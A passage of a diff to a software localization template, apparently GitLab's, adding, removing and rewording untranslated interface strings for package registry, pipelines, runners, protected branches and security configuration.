msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
